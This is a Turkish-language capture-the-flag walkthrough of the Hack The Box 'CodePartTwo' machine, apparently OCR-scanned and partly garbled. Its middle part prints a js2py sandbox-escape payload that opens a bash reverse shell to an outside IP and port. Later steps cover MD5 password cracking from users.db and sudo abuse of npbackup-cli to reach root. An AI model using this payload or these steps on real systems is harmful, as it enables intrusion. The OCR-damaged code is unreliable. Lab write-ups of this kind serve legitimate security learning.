HTB CodePartTwo

Merhaba bugtin hackTheBox CodePartTwo makinesini ¢cozecegiz.
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Burada bir nmap ile basliyorum hemen acik portlari gériyorum.

Download app diyorum. iceride js2py BEBEXAs

kiitiphanesini goriyorum. Bu bana lazim olacak ¢linku kayit olup giris
yaptiktan sonra bir zafiyet bulamiyorum ve bu zafiyetin kiitiphane ile
ilgili olmasi gerektigini 6greniyorum.

Bunlarin ardindan js2py icin zafiyet arastirmasi yapiyorum ve github
da bu zafiyetin kodunu ve nasil ¢calisacagina iliskin bilgiler gdriiyorum
bunlari uygulayacagim.

Once bir dinleyici acip payloadimi yerlestirdim.



let cmd = "bash -c 'bash -i =& /dey/1cp/10.10.15.40,/9801 B>&1'"
let hacked, bymarve, nll

hacked = Object.getOwnPropertyNames({})

bymarve = hacked. t ribu
nll = bymarve(" getattribute ")
obj = nll(" class "). base

getattr = obj. getattribute

function findpopen(o) {
let result;
for(let i in o. subclasses ()} {
let item = o. subclasses ()[1]
if{item. module == "sybprocess" &% item. name == "Pgpen") {

return item
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Burada instance var her zaman instance in ici kontrol edilmelidir
clinkli config veya db saklanabilir biz de bunu kontrol edince users.db

yi bulduk.

total 2
drwxrwxr-x 2
drwxrwxr-x 6

Burada users.db yi bulduktan sonra dosyasina bakiyorum ve sqlite
kullanildigini gériyorum kullanicilari buradan ¢ekecegim.
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Kullanicilari aldiktan sonra bu sifrelerin md5 oldugu cok belli marcoyu
¢Ozliyorum sonrasinda ssh baglantisi alacagim ¢linkd ssh acikt.
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Ve burada user.txt yi yakaliyorum.
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Root.txt yi bulma vakti geldi. Sudo -1 ile 6greniyoruz ki root olmamiza
gerek yok npbackup-cli root olarak calisabiliyor.Sifre sormuyor.

cogicodeparttwo: sudo -\

atching Defaults entries for marco on codeparttwo:
set, mail_badpass,
secure_paths/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

Jser marco may run the "'3110"\‘:’1’;’ commands on codeparttwo:
(ALL : ALL) NOPASSWD: Jusr/local/bin/npbackup-cli

Snapshotlari listeleliyoruz. sudo npbackup-cli -c
/home/marco/npbackup.conf —snapshots bu kod ile ¢linkii Bu
program daha once hangi dizinleri yedeklemis? Root’a ait bir
snapshot var mi? Bu bilgileri 6grenmeliyiz.

Dogru snapshot i listeledikten sonra iceride root oldugunu goriyoruz.
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